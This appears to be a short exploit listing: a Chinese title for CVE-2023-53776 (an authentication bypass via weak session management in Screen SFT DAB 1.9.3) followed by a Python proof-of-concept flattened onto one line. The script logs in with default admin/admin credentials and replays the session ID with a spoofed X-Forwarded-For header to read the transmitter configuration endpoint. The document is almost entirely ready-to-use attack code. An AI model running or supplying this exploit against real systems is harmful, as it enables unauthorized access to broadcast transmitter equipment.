CVE-2023-53776 Screen SFT DAB 会话管理弱导致身份验证绕过

import requests import sys # CVE-2023-53776 PoC - Screen SFT DAB Authentication Bypass # Target: Screen SFT DAB 1.9.3 # Vulnerability: Weak session management - IP-bound session identifier reuse def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2023-53776 """ # First, obtain a valid session identifier (e.g., through legitimate login) login_url = f"{target_url}/api/login" login_data = { "username": "admin", "password": "admin" } session = requests.Session() try: # Attempt to get valid session response = session.post(login_url, json=login_data, timeout=10) if response.status_code == 200: session_id = session.cookies.get('SESSIONID') or response.json().get('session_id') print(f"[+] Obtained session: {session_id}") # Now try to reuse session from different IP context # In real attack, attacker would spoof source IP or use proxy exploit_url = f"{target_url}/api/transmitter/config" headers = { 'X-Session-ID': session_id, 'X-Forwarded-For': '192.168.1.100' # Spoofed IP } exploit_response = session.get(exploit_url, headers=headers, timeout=10) if exploit_response.status_code == 200: print(f"[+] VULNERABLE: Session reuse successful - bypassed IP binding") print(f"[+] Response: {exploit_response.text}") return True else: print(f"[-] Not vulnerable or session expired") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2023-53776-poc.py <target_url>") sys.exit(1) target = sys.argv[1] check_vulnerability(target)